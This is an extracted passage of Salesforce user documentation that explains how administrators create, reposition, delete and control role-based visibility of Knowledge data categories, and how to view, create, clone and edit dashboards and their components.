To create, edit, or delete data categories: “Manage Data Categories”

Data Categories are a set of criteria organized hierarchically in a category group. With data categories you can classify the
articles in your knowledge base using a logical hierarchy of categories. Categories make it easy for agents and customers to
find the articles they need. Administrators can use data categories to control access to articles.
Note: Most of the steps below can be performed using keyboard shortcuts.

By default, for each category group you can create up to 100 categories and organize those categories into up to five hierarchy
levels. To request additional categories or hierarchy levels, contact salesforce.com.
To add categories to a category group:

1. Click Setup ➤ Customize ➤ Data Categories.


2. Click the category group name.
3. Click a category that is directly above where you want to add a category (a parent), or at the same level (a sibling).
4. Click Actions, then select an action: Add Child Category or Add Sibling Category.
5. Enter a category name.

1477
Data Categories Modifying and Positioning Categories

If possible, Salesforce.com automatically reuses the name you entered as the Category Unique Name, a system field
which the Force.com Web Services API requires.
6. Click Add. Alternatively, press Enter.
7. Click Save.
Tip: Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.

Tip: By default, all Salesforce Knowledge users can see all categories within an active category group. You can restrict
category visibility based on role after you have set up your data categories. Restricting visibility based on role ensures
that users only access articles they are allowed to see.

See Also:
What are Data Categories?
Managing Data Categories
Modifying and Positioning Categories
Deleting Data Categories
Keyboard Shortcuts For Data Categories

Modifying and Positioning Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
To create, edit, or delete data categories: “Manage Data Categories”

Caution: Modifying categories can result in long processing times, changes to the visibility of articles, changes to the
categorization of articles, and other significant consequences. Read this entire topic carefully before modifying categories.

To modify the categories in a category group and their positions in the hierarchy:

1. Click Setup ➤ Customize ➤ Data Categories.


2. Click a category group name.
3. Optionally, click Expand All to display the full category hierarchy, or Collapse All to display only the top-level categories.
4. Double-click a category to edit its name or its unique API name.
5. Use drag-and-drop editing to reposition a category in the hierarchy. As you drag, a red icon indicates an invalid destination,
while a green icon indicates a valid destination:

1478
Data Categories Modifying and Positioning Categories

• Drag a category on top of another category to reposition it as a child of the destination category. For example, drag
USA on top of North America to make USA one level below North America. After dragging, the category displays
below the other child categories at that level.
• Drag a category to a line that borders another category to reposition it as a sibling of that category. For example, to
position USA between Canada and Mexico, drag it to the line between Canada and Mexico.

6. Hover your cursor over a category name, then choose Order Child Categories Alphabetically from the
Actions drop-down list to reorder that category's children in alphabetical order. This only affects the first level children,
not grandchildren or deeper levels.
7. As you modify the category hierarchy, click Undo to cancel your last actions. Similarly, click Redo to step forward through
your flow of performed actions.
8. Click Save.
Tip: Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.

9. You will receive an email when the save process completes.

The save process recalculates the following:

• The contents of the category drop-down menu.


• Articles' visibility based on the users' roles. The articles that users can see may change.
• The articles associated with categories. The article's classification may change.

Important: Modify the category hierarchy when user activity is low. Because the save process involves potentially
large and complex recalculations, it may take a long time to complete. During processing, users may experience
performance issues when searching for articles or using category drop-down lists. To reduce the potential impact,
schedule category changes for when the system is least used.

Example: How Changing the Hierarchy Affects Visibility


Changing the category hierarchy potentially changes which articles users can see. If a category moves to a new parent category,
roles that aren't mapped to the new parent category lose their access to the repositioned category. In the example shown in
the following graphic, the category PDAs moves from the original parent category Computers to the new parent category
Consumer Electronics.

1479
Data Categories Modifying and Positioning Categories

Figure 6: Moving the category “PDAs”

To understand how this change affects who can see articles classified with the PDAs category, see the following table.

When my Could I see Can I see PDA Why?


role is PDA articles in articles in their
mapped to: their old new location under
location under Consumer
Computers? Electronics?
All products Yes Yes When your role is mapped to the top-level “All products” category,
you can see everything in the category hierarchy.
Computers Yes No You don't have access to the branch of the category hierarchy where
PDAs is now located.
Consumer No Yes PDAs has moved to the branch of the category hierarchy where you
Electronics have been granted access.

Example: How Changing the Hierarchy Affects Articles' Classification


Classifying an article with a parent category implicitly grants access to that category's children. You cannot explicitly apply
both a parent category and one of its children to an article. From the article edit page, selecting a parent category grays out its
child categories—you cannot select them in addition to the parent category. Salesforce.com respects this fact when you move
a category to a new parent. It prevents explicitly adding a child category to an article when the new parent category is already
present.
In the example depicted above, the category PDAs moves from the original parent category Computers to the new parent
category Consumer Electronics. As a result, articles' classifications may or may not change:
• Articles formerly classified with both Consumer Electronics and PDAs lose PDAs, because having Consumer Electronics
now implies having PDAs.

1480
Data Categories Deleting Data Categories

• Articles formerly classified with only Consumer Electronics but not PDAs do not change. Access to PDAs is now implied.
• Articles formerly classified with only PDAs, but not Consumer Electronics, retain PDAs.

See Also:
What are Data Categories?
Managing Data Categories
Adding Data Categories
Deleting Data Categories
Keyboard Shortcuts For Data Categories

Deleting Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
To create, edit, or delete data categories: “Manage Data Categories”

Caution: Deleting categories can result in long processing times, changes to the visibility of articles, changes to the
categorization of articles, and other significant consequences. Read this entire topic carefully before deleting categories.

To delete a category:

1. Click Setup ➤ Customize ➤ Data Categories.


2. Click a category group name.
3. Click a category name. If necessary, click Expand All to display all categories in the category group.
4. Press DELETE, or choose Delete Category from the Actions drop-down list.
5. Click OK in the confirmation dialog box.
6. Choose how you want to reclassify articles associated with the deleted category or the deleted category's children:

• Assign the deleted category's parent category.


• Assign a different category. You can select any other category in this category group.
Note: The category you select cannot be deleted itself before you save your work.

• Do not assign the articles a new category in this category group.

In all cases, the articles retain their categories from other category groups.
7. Click Save.

Deleting a category:

1481
Data Categories Keyboard Shortcuts For Data Categories

• Permanently removes it. It cannot be restored. It never appears in the Recycle Bin.
• Permanently deletes its child categories.
• Removes the category and its children from the category drop-down menu, the Articles and Article Management tabs,
your company's public knowledge base, and your company's Customer Portal.
• Removes associations between the category and articles. You can reassign articles to another category.
• Removes its mapping to a role. Users in the role lose their visibility to articles that had the category.

Important: Modify the category hierarchy when user activity is low. Because the save process involves potentially
large and complex recalculations, it may take a long time to complete. During processing, users may experience
performance issues when searching for articles or using category drop-down lists. To reduce the potential impact,
schedule category changes for when the system is least used.

See Also:
What are Data Categories?
Managing Data Categories
Adding Data Categories
Modifying and Positioning Categories
Keyboard Shortcuts For Data Categories

Keyboard Shortcuts For Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Data Categories page: “View Data Categories”
To create, edit, or delete data categories: “Manage Data Categories”

Use the following keyboard shortcuts to work quickly with data categories.

Task Action Keyboard Shortcut


Adding a category Add a sibling to the selected category ENTER
Add a child to the selected category ENTER+TAB
Close the Add Category field ESC
Save changes in the Add Category field ENTER

Modifying a category Open the Edit Category field for the selected category SPACEBAR
Close the Edit Category field. ESC
Save changes in the Edit Category field ENTER

1482
Data Categories Keyboard Shortcuts For Data Categories

Task Action Keyboard Shortcut


Demoting or promoting a Demote a category down one level, as a child of the TAB
category sibling currently above it
Promote a category up one level, as a sibling to its SHIFT+TAB
current parent

Deleting a category Delete the selected category and its children DELETE

Navigating in the category Move the focus up in the category hierarchy UP ARROW
hierarchy
Move the focus down in the category hierarchy DOWN ARROW
Collapse children in a parent category LEFT ARROW
Expand children in a parent category RIGHT ARROW

Canceling or repeating an action Undo the last action CTRL+Z


Redo the last action CTRL+Y

Saving the changes Save the last changes in the category hierarchy CTRL+S

See Also:
Managing Data Categories
Adding Data Categories
Modifying and Positioning Categories
Deleting Data Categories

1483
Data Categories Category Group Visibility Settings Overview

Category Group Visibility Settings Overview


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view role details: “View Setup and Configuration”
To edit and delete roles: “Manage Users”
To view users: “View Setup and Configuration”
To edit users: “Manage Users”
To view categories: “View Data Categories”

Note: Category group visibility settings are only available with Salesforce Knowledge, which requires Knowledge User
feature licenses. For information on purchasing feature licenses, contact salesforce.com.

The categories (and therefore articles) a user sees depend on the user's role. You map category groups to roles on a role-by-role
basis. These mappings are called category group visibility settings. Category group visibility settings differ from the general
Salesforce.com sharing model. For an explanation of the differences, see How Category Visibility Differs from Other
Salesforce.com Models on page 1488.

Enforcement of Visibility Settings


To ensure that support agents and customers obtain a wide range of relevant information, category group visibility settings
are broadly interpreted. Setting a category as visible to a role makes that category and its entire directly related family
line—ancestors, immediate parent, primary children, other descendants—visible to users in that role. For example, consider
a geographic category hierarchy of Europe > France > Paris. If France is the visible category selected for your role, then you
can see articles classified with Europe, France, Paris, or any other categories that have a direct vertical relationship to France.
Category group visibility settings are enforced on the Articles tab, the Article Management tab, the Customer Portal, and the
public knowledge base. In the following areas, users only see the categories (or categorized articles) they are allowed to see:
• The category drop-down menu
• The article list view
• On the Article Management tab, the dialog for applying categories to articles

Default Visibility Settings


By default, when you create a new category group, users can see all categories in it. Once categories are mapped to roles, users
who are not assigned to a role can only see uncategorized articles.

Inheritance of Visibility Settings


Child roles inherit their parent role's settings and are kept in sync with changes to the parent role. You can customize and
reduce the child role's visibility, but you cannot increase it to be greater than that of the parent role. Because a Customer Portal
user inherits the role assigned to his or her account manager, category visibility for the Customer Portal user and the account
manager is identical.

1484
Data Categories Viewing Category Group Visibility Settings on Roles

Visibility of Categorized Articles


A user can see an article if he or she can see at least one category per category group on the article. For example, consider an
article that is classified with California and Ohio in the Geography category group and Desktop in the Products category
group. If you have visibility on Ohio and Desktop (but not California), you can see the article. If you don't have visibility on
either California or Ohio but do have visibility on Desktop, you do not see the article. If you have visibility on California but
not Desktop, you do not see the article.

Revoked Visibility
A role's visibility can be revoked (set to None) for a particular category group. Users in that role can only see articles that aren't
classified with a category in that category group. For example, if an user's role has revoked visibility in the Geography category
group and visibility to the Desktop category in the Products category group, he or she can only see articles that have no
categories in Geography and are classified with Desktop (or one of Desktop's ancestors or descendants).

See Also:
Managing Data Categories
Viewing Category Group Visibility Settings on Roles
Editing Category Group Visibility Settings
Assigning Users to Roles

Viewing Category Group Visibility Settings on Roles


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view role details: “View Setup and Configuration”
To edit and delete roles: “Manage Users”
To view users: “View Setup and Configuration”
To edit users: “Manage Users”
To view categories: “View Data Categories”

Note: Category group visibility settings are only available with Salesforce Knowledge, which requires Knowledge User
feature licenses. For information on purchasing feature licenses, contact salesforce.com.

The categories (and therefore articles) a user sees depend on the user's role. You map category groups to roles on a role-by-role
basis. These mappings are called category group visibility settings. To understand the settings and their impact, see Category
Group Visibility Settings Overview on page 1484.

1485
Data Categories Viewing Category Group Visibility Settings on Roles

Viewing a Role's Category Group Visibility Settings


To view a role's category visibility setting, click Setup ➤ Manage Users ➤ Roles, and select a role.
The Category Group Visibility Settings related list summarizes which categories users in the role can see, according to category
group. The following table explains the possible values in the Visibility column of the related list:

Visibility Description
All Users can see all categories in the category group. This option
is only available for the topmost role in the role hierarchy.
When you create a new category group, its visibility is
defaulted to All for the topmost role in the role hierarchy,
and all subordinate roles inherit that setting.
Inherited from... The role inherits its parent role's visibility settings. If the
parent role's settings change, the child role stays in sync. Click
the name of the parent role to see its category group visibility
settings.
None Users cannot see any categories in the category group.
Custom Users can view a selection of categories in the category group.

In the Category Group Visibility Settings related list, you can:

• Click a category group to view its setting details.


• Click Edit next to a category group to modify its visibility settings.

See Also:
Managing Data Categories
Category Group Visibility Settings Overview
Editing Category Group Visibility Settings
Examples of Category Group Visibility Settings

1486
Data Categories Editing Category Group Visibility Settings

Editing Category Group Visibility Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view role details: “View Setup and Configuration”
To edit and delete roles: “Manage Users”
To view users: “View Setup and Configuration”
To edit users: “Manage Users”
To view categories: “View Data Categories”

Note: Category group visibility settings are only available with Salesforce Knowledge, which requires Knowledge User
feature licenses. For information on purchasing feature licenses, contact salesforce.com.

The categories (and therefore articles) a user sees depend on the user's role. You map category groups to roles on a role-by-role
basis. These mappings are called category group visibility settings. To understand the settings and their impact, see Category
Group Visibility Settings Overview on page 1484.
To edit a role's category group visibility setting:

1. Click Setup ➤ Manage Users ➤ Role.


2. Select a role.
3. In the Category Group Visibility Settings related list, click Edit next to the category group you want to modify. Alternatively,
click the name of a category group and then click Edit.
4. Select a visibility setting:

Visibility Setting Description


All Users can see all categories in the category group. This option is only available for the topmost role
in the role hierarchy.When you create a new category group, its visibility is defaulted to All for the
topmost role in the role hierarchy, and all subordinate roles inherit that setting.
Inherited The role inherits its parent role's visibility settings. If the parent role's settings change, the child
from... role stays in sync. Click the name of the parent role to see its category group visibility settings.
None Users cannot see any categories in the category group.
Custom Users see your custom selection of categories. You can choose from the categories that are visible
to the parent role. If the parent role's visibility changes to be less than its child's visibility, the child
roles' category visibility is reset to its parent's category visibility.
To select categories, double-click the category in the Available Categories box. Alternatively,
select a category and then click Add. Selecting a category implicitly includes its child and parent
categories as well. Categories that are grayed out in the All Categories box are not available for
selection because their parent has already been selected.

1487
Data Categories How Category Visibility Differs from Other Salesforce.com Models

Visibility Setting Description


Note: If you are customizing a role that was previously set to All Categories, you must first
remove All from the Selected Categories box before you can select specific categories.

5. Click Save.

Implementation Tips
• When you create a new category group, its visibility is defaulted to All for the topmost role in the role hierarchy, and all
subordinate roles inherit that setting.
• When you add a category to a role's visibility, you also grant visibility to its child and parent categories. If you want to give
a role access to all categories in a branch of the category hierarchy, select the top level category All Categories.
• With the exception of administrators who have the “View all data” profile permission, users who are not assigned to a role
can only see uncategorized articles.
• A Customer Portal user inherits the role assigned to his or her account manager, so the category visibility for the Customer
Portal user and the account manager is the same.

Best Practices
• Keep your category groups deactivated to set up your category hierarchy and assign role-based category visibility. Until you
manually activate a category group, it does not display as a category drop-down menu on the Articles or Article Management
tabs, your company's public knowledge base, or your company's Customer Portal.
• Always set up category group visibility in a top-down approach from the top of the role hierarchy down to the bottom.
Give the highest roles the most visibility and give subordinate roles reduced visibility.

See Also:
Managing Data Categories
Category Group Visibility Settings Overview
Viewing Category Group Visibility Settings on Roles
Examples of Category Group Visibility Settings

How Category Visibility Differs from Other Salesforce.com


Models
Available in: Enterprise, Unlimited, and Developer Editions

Note: Category group visibility settings are only available with Salesforce Knowledge, which requires Knowledge User
feature licenses. For information on purchasing feature licenses, contact salesforce.com.

The categories (and therefore articles) a user sees depend on the user's role. You map category groups to roles on a role-by-role
basis. These mappings are called category group visibility settings. These settings are unique to articles and differ from other
Salesforce.com models:

1488
Data Categories Examples of Category Group Visibility Settings

Exclusive to articles
Access to articles is determined by category group visibility settings. Although they are standard objects, articles do not
have organization-wide defaults, sharing rules, manual record sharing, or object-level permissions like “Create” or “Read.”

Role-based access
Category group visibility settings are based on roles, not individual users or groups of users. Child roles cannot see more
categories than their parent role. To change a user's visibility to categories and therefore categorized articles, you must
change the visibility settings for the user's current role or move the user to a different role.

Broad interpretation of visibility settings

To ensure that support agents and customers obtain a wide range of relevant information, category group visibility settings
are broadly interpreted. Setting a category as visible to a role makes that category and its entire directly related family
line—ancestors, immediate parent, primary children, other descendants—visible to users in that role. For example,
consider a geographic category hierarchy of Europe > France > Paris. If France is the visible category selected for your
role, then you can see articles classified with Europe, France, Paris, or any other categories that have a direct vertical
relationship to France.

See Also:
Managing Data Categories
Category Group Visibility Settings Overview
Viewing Category Group Visibility Settings on Roles
Editing Category Group Visibility Settings
Examples of Category Group Visibility Settings

Examples of Category Group Visibility Settings


Available in: Enterprise, Unlimited, and Developer Editions

Note: Category group visibility settings are only available with Salesforce Knowledge, which requires Knowledge User
feature licenses. For information on purchasing feature licenses, contact salesforce.com.

The categories (and therefore articles) a user sees depend on the user's role. You map category groups to roles on a role-by-role
basis. These mappings are called category group visibility settings.
These examples are based on two sample category groups, Products and Geography:
Products Category Group

• All Products

- Consumer Electronics

› Cameras
› Audio
› Printers

1489
Data Categories Examples of Category Group Visibility Settings

- Enterprise Electronics

› Routers
› Switches
› PEX

- Computers

› Laptops
› Desktops
› PDAs

Geography Category Group

• All Countries
- Americas

› USA
› Canada
› Brazil

- Asia

› China
› Japan
› India

- Europe

› France
› United Kingdom
› Poland

Example 1: A Role Hierarchy


In this example, the Acme Electronics organization manufactures hardware and provides customer support for both consumers
and enterprises. The Engineering department is organized by products. The Support department is organized geographically.
Europe and the Americas are managed by corporate teams, but Asia is outsourced. Within the corporate and outsourced teams,
there are subteams dedicated either to consumer or enterprise support.
The table below shows the categories visible to each role in the Acme Electronics organization, and states whether the visibility
settings are inherited from the parent role on page 1486 or custom on page 1486.

Acme Electronics Role Hierarchy Visible Geographic Categories Visible Product Categories
CEO All Countries All Products

1490
Data Categories Examples of Category Group Visibility Settings

Acme Electronics Role Hierarchy Visible Geographic Categories Visible Product Categories
VP of Engineering All Countries All Products
Inherit from CEO Inherit from CEO

Consumer Engineering All Countries Consumer Electronics


Team
Inherit from VP of Engineering Custom

Enterprise Engineering All Countries Enterprise Electronics


Team
Inherit from VP of Engineering Custom

Computers Engineering All Countries Computers


Team
Inherit from VP of Engineering Custom

VP of Support All Countries All Products


Inherit from CEO Inherit from CEO

VP of Corporate Support Europe, America All Products


Custom Inherit from VP of Support

Director of Corporate Europe, America Consumer Electronics, Computers


Consumer Support
Inherit from VP of Corporate Support Custom

Director of Corporate Europe, America Enterprise Electronics, Computers


Enterprise Support
Inherit from VP of Corporate Support Custom

Outsourced Support Asia All Products


Custom Inherit from VP of Support

Consumer Support Team Asia Consumer Electronics, Computers


Inherit from Outsourced Support Custom

Enterprise Support Team Asia Enterprise Electronics, Computers


Inherit from Outsourced Support Custom

Example 2: Article Visibility


The table below is an in-depth example of how category visibility settings restrict what users see. This example has five sample
users whose category settings are noted in parentheses.

Table 1: Example: How Category Visibility Settings Restrict What Users See

Categories When User 1's visibility isAll When User 2's visibilty When User 3's visibility is
countries/Computers, the isAmerica/All products, the France/None, the category
category is: category is: is:
All countries/Laptop VISIBLE VISIBLE NOT VISIBLE
Canada/Computers VISIBLE VISIBLE NOT VISIBLE
USA/All products VISIBLE VISIBLE NOT VISIBLE

1491
Data Categories Examples of Category Group Visibility Settings

Categories When User 1's visibility isAll When User 2's visibilty When User 3's visibility is
countries/Computers, the isAmerica/All products, the France/None, the category
category is: category is: is:
Europe/Switches NOT VISIBLE NOT VISIBLE NOT VISIBLE
Europe/No Categories VISIBLE NOT VISIBLE VISIBLE

User 1: The user's role must be granted visibility in each category that classifies the article. If the category does not match the
role's visibility in at least one category group, users from that role cannot see the article. In this example, User 1 can see Europe,
as it is the child of All Countries, but he cannot see Switches, as it does not belong to Computers. That's why User 1 cannot
see articles classified with Europe/Switches.
User 2: When a category is assigned to a role visibility, its child and parent categories are implicitly included; therefore, User
2 can see articles categorized with All Countries because it is the parent category of America. He can also see Articles classified
with USA because it is the child of America.
User 3: If a role has no access to the whole category group, he can only see articles that are not categorized in that group. User
3 cannot see the articles categorized with All countries/Laptop because he has no visibility in the category group that includes
Laptop, but he can see articles categorized with Europe/No categories.

See Also:
Managing Data Categories
Category Group Visibility Settings Overview
Viewing Category Group Visibility Settings on Roles
Editing Category Group Visibility Settings
How Category Visibility Differs from Other Salesforce.com Models

1492
DASHBOARDS

Dashboards Overview
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view dashboards: “Run Reports”
AND
Access to view dashboard folders
To create, edit, and delete dashboards: “Run Reports”
AND
“Manage Dashboards”

A dashboard is a group of charts or other components that graphically display your custom report data and give you a real-time
snapshot of corporate metrics and key performance indicators. Charts must use summary or matrix reports. Select up to 20
different custom reports or Visualforce pages to display in each dashboard. You can position each dashboard component in
one of up to three columns.
Note: Dashboards in Group Edition organizations are read-only. Users cannot create, edit, or delete dashboards or
dashboard components.

Displaying The Dashboards Tab


In Salesforce.com, the Dashboards tab displays automatically for all organizations using Group, Professional, Enterprise,
Unlimited, and Developer Editions. If your Dashboards tab is not visible, customize your display to show it.
In the Salesforce Mobile client application, the Dashboards tab displays if your Salesforce.com administrator has added the
tab to your mobile configuration.

See Also:
Viewing Dashboard Lists
Creating and Editing Dashboard Properties
Editing Dashboards
Deleting Dashboards
Reports Overview
Setting Up Mobile Dashboards
Administrator tip sheet: Tips for Creating Dashboards

1493
Dashboards Viewing Dashboard Lists

Viewing Dashboard Lists


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view dashboard lists: “Manage Dashboards”

The dashboards list page displays a list of dashboards in a selected folder. To view the dashboards list page, click the Dashboards
tab and click Go To Dashboard List. From the list page, you can:

• Select a folder to view a list of dashboards stored in that folder.


• Click a dashboard name to display the dashboard.
• Click Edit next to a dashboard to edit the dashboard components. While editing a dashboard, you can also modify the
dashboard properties; see Creating and Editing Dashboard Properties on page 1496.
• Click Del next to a dashboard to remove the dashboard from the folder. This permanently deletes the dashboard and you
cannot retrieve it from the Recycle Bin. See Deleting Dashboards on page 1512 for more information.
• Click any column heading to sort the dashboards in ascending order by the information in that column. Click the same
column heading again to sort dashboards in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character
and are in the selected folder.
• Click the Next Page (or Previous Page) link to go to the next or previous set of dashboards.
• At the bottom of the dashboard list, select fewer or more to view a shorter or longer display list. This only displays if you
have more dashboards than the amount that fit on a page.
• If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to tag the current
record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.

Note: If you cannot find a dashboard, you may not have access to the folder that contains it. See Managing Folders
on page 647 for information about folders.
Users with a Salesforce.com Platform or Salesforce Platform One user license can only view a dashboard if the Running
User of the dashboard also has the same type of user license. They cannot edit or create new dashboards.

1494
Dashboards Displaying Dashboards

Displaying Dashboards
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view dashboards: “Run Reports”
AND
Access to view dashboard folders
To view dashboard lists: “Manage Dashboards”
To create, edit, and delete dashboards: “Run Reports”
AND
“Manage Dashboards”

Clicking the Dashboards tab displays the dashboard you most recently viewed. If this is your first visit to the Dashboards tab,
the most recently created dashboard displays. The dashboard data is as current as the As of date displayed at the top of the
dashboard.

• To view a different dashboard, use the regular drop-down list or the Dashboard Finder. If Dashboard Finder is enabled,
start typing a dashboard name in the filter box and choose a dashboard from the list of results. The View Dashboard
list includes dashboards in all dashboard folders to which you have access.
Note: Users with a Salesforce.com Platform or Salesforce Platform One user license can only view a dashboard if
the Running User of the dashboard also has the same type of user license. They cannot edit or create new
dashboards.

• Click Edit to make any changes to the dashboard. While editing a dashboard, you can also modify the dashboard properties.
• Click Clone to create a new dashboard with the same properties as the existing dashboard.
• Click Refresh to update the data in the dashboard.
Enterprise and Unlimited Edition users can schedule dashboard refreshes.
• If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to tag the current
record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.
• Click Go To Dashboard List to view a list of your dashboards.
• For certain types of charts, click the dashboard component to view the report details used to create it.

Note: Dashboards in Group Edition organizations are read-only. Users cannot create, edit, or delete dashboards or
dashboard components.

See Also:
Editing Dashboards

1495
Dashboards Creating and Editing Dashboard Properties

Creating and Editing Dashboard Properties


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit dashboard properties: “Manage Dashboards”

Before you begin, create the custom reports that include the data you would like to display in dashboards. Custom reports for
dashboards are no different than any other custom report you create except you must summarize or group data for best chart
results. Be sure to store reports in a public folder. Some custom forecast and lead reports are not available for dashboards. See
Customizing Reports on page 1898 for instructions on creating custom reports.

1. Click the Dashboards tab.


2. Click Go To Dashboards List.
3. Click New Dashboard to create a new dashboard. Alternatively, click Add Sample Dashboard to add two new custom
reports to your personal reports folder and add a sample dashboard to the selected folder.
To modify properties for an existing dashboard, click Edit next to the dashboard name and choose Edit Properties.
4. Enter a title and description for the dashboard.
5. If you have the “Customize Application” permission, enter a Unique Name. The unique name is used to refer to the
component when using the Force.com API. In managed packages, this name prevents naming conflicts on package
installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization.
It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
With the Unique Name field, a developer can change certain components' names or titles in a managed package and the
changes are reflected in a subscriber's organization.
6. Select the number of columns for this dashboard. Each dashboard can have up to three columns.
7. The Dashboard Security Settings section allow you to define the dashboard's security. Dashboards are always executed
with the security settings of a single user, the running user. Because only one running user is specified per dashboard,
everyone who can access the dashboard sees the same data, regardless of their personal security settings.
Choose a user to apply that user's security settings to the dashboard. If you have the “View All Data” permission, you can
choose a different user. If you do not have the “View All Data” permission, you can only choose yourself.
Note: Dashboard components that use Visualforce ignore the Running User; content displays only if the viewing
user has access to the Visualforce page. Other components in the dashboard are not affected.
Be aware of the type of license your Running User has. For example, if the Running User of a dashboard has
a Salesforce.com license, users who have Force.com Platform or Salesforce Platform One licenses will not be able
to view it. Alternatively, if the Running User has a Force.com Platform or Salesforce Platform One license, users
who have Salesforce.com licenses will be able to see the dashboard. If you have users with Force.com Platform or
Salesforce Platform One licenses, we recommend creating a separate dashboard for them with a Running User
that has a Force.com Platform or Salesforce Platform One user license.

8. Select a folder where you want to store the dashboard.


9. Choose a text color and size for the dashboard chart titles.
10. Choose a text color for the text in the chart.

1496
Dashboards Cloning Dashboards

11. Choose a background option for the gradient color on the charts, and then select the two colors for the gradient. If prefer
your background to be all one color or do not want a gradient design, select the same color for both Starting Color
and Ending Color.
12. Click Save.
13. Edit the dashboard to organize the dashboard layout and add components to display custom report data.

See Also:
Dashboard Properties
Adding Dashboard Components
Tagging Records
Administrator tip sheet: Tips for Creating Dashboards

Cloning Dashboards
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone dashboards: “Manage Dashboards”

Cloning a dashboard quickly creates another dashboard with the same properties as the selected dashboard. Dashboard
components are cloned along with the dashboard.

• Click Clone on an existing dashboard. Enter or change any information for the new dashboard and click Save.

See Also:
Dashboard Properties

1497
Dashboards Editing Dashboards

Editing Dashboards
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete dashboards: “Run Reports”
AND
“Manage Dashboards”

Dashboards consist of up to three columns of different dashboard components. Each component is a chart that represents
data from one of your custom reports.
To edit a new or existing dashboard:

1. Begin by creating or editing a dashboard. To edit a dashboard, view the dashboard and click Edit. For more information,
see Creating and Editing Dashboard Properties on page 1496.
2. Click the Add Component link at the top of any column to add a component to that column. For more information, see
Adding Dashboard Components on page 1500.
3. Click any Column Size link from the top of the column to change the width of it.
Note: If your component is a pie or donut chart with Show Values or Show Percentages enabled and Legend
Position set to Right, the dashboard column width must be Wide for values and percentages to show on the
dashboard.

4. Move the new component to another column using the appropriate arrow at the top of the component. These buttons
may be disabled depending on the component’s current location.
5. Click the Edit link at the top of the new component to change its attributes, if necessary.
6. Click the Edit Properties button at the top of the page to change the attributes of the dashboard. For more information,
see Creating and Editing Dashboard Properties on page 1496.
7. Click Done to display the dashboard. Note that all changes are automatically saved to the dashboard as you make them.

Other options available while creating or editing dashboards:

• Refresh Dashboard Information—Click Refresh to update the data in the dashboard. For more information, see Refreshing
Dashboard Data on page 1508.
• Delete Dashboard Components—Click Delete at the top of any dashboard component to delete that component from
the dashboard.
• Edit Dashboard Components—Click Edit at the top of any dashboard component to make changes to it.
• Tagging Dashboards - If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title
bar to tag the current record. If the record is already tagged, click one of the tag names to view a list of all records with
that tag.
• Display Dashboards—Click Go To Dashboard List to view a list of your dashboards.

1498
Dashboards Dashboard Properties

• For certain types of charts, click the dashboard component to view the report details used to create it.

See Also:
Creating and Editing Dashboard Properties
Adding Dashboard Components

Dashboard Properties
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Below is a description of the properties in alphabetical order that are stored for each dashboard.

Field Description
Background Fade Direction Indicates how gradient colors are dispersed.

Dashboard Layout Style Indicates the number of columns in the dashboard.


Description A description of the dashboard that helps other users locate it.
Ending Color The color used at the end of the gradient design in the chart background fade.
Folder A place to store the dashboard
Running User The user’s security settings to apply to the dashboard. Whatever data this user can see
will be available to everyone who views the dashboard.
Users who have Force.com Platform or Salesforce Platform One user licenses can only
view dashboards in which the Running User also has a Force.com Platform or Salesforce
Platform One user license.
Dashboard components that use Visualforce ignore the Running User; content displays
only if the viewing user has access to the Visualforce page. Other components in the
dashboard are not affected.

Starting Color The color used at the beginning of the gradient design.
Text Color Color of the text on each chart within the dashboard.
Title The heading of the page that displays all the components in the dashboard.
Title Color Color of the titles on each dashboard component.
Title Size Size of the font for the titles of each dashboard component.

See Also:
Creating and Editing Dashboard Properties

1499
Dashboards Adding Dashboard Components

Adding Dashboard Components


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete dashboards: “Run Reports”
AND
“Manage Dashboards”

Add up to 20 dashboard components to your dashboards. The components can contain data from your custom reports
represented as a chart, table, metric, gauge, Visualforce page, or custom s-control.
Note: To use features described as “Available only with Chart Analytics 2.0,” administrators for organizations that
haven't opted in previously must enable Chart Analytics 2.0.
To enable Chart Analytics 2.0:

1. Click Setup ➤ Customize ➤ Reports & Dashboards ➤ User Interface Settings.


2. Click Enable.
3. Confirm your choice by clicking Yes, Enable New Charting Engine.

To add a dashboard component:

1. Begin by creating or editing a dashboard. To edit a dashboard, view the dashboard and click Edit.
2. Click Add Component from the top of any column and set the following properties.

Field Description
Component Type You can select chart, table, metric, gauge, Visualforce page, or custom s-control.
Visualforce pages must meet certain requirements to be displayed in dashboards;
otherwise, they don't appear in the Visualforce Page drop-down list. See Creating
Visualforce Dashboard Components in the Visualforce Developer's Guide.
Note: Dashboard components that use Visualforce ignore the Running
User; content displays only if the viewing user has access to the Visualforce
page. Other components in the dashboard are not affected.

Custom s-controls can contain any type of content that you can display or run in a
browser, for example, a Java applet, an ActiveX control, an Excel file, or a custom
HTML Web form.
Attention: S-controls have been superseded by Visualforce pages. After January
2010 salesforce.com will remove the ability to create and distribute new
s-controls. Existing s-controls will remain unaffected.

Header Enter text to display at the top of the dashboard component.

1500
Dashboards Adding Dashboard Components

Field Description
Footer Enter text to display at the bottom of the dashboard component.
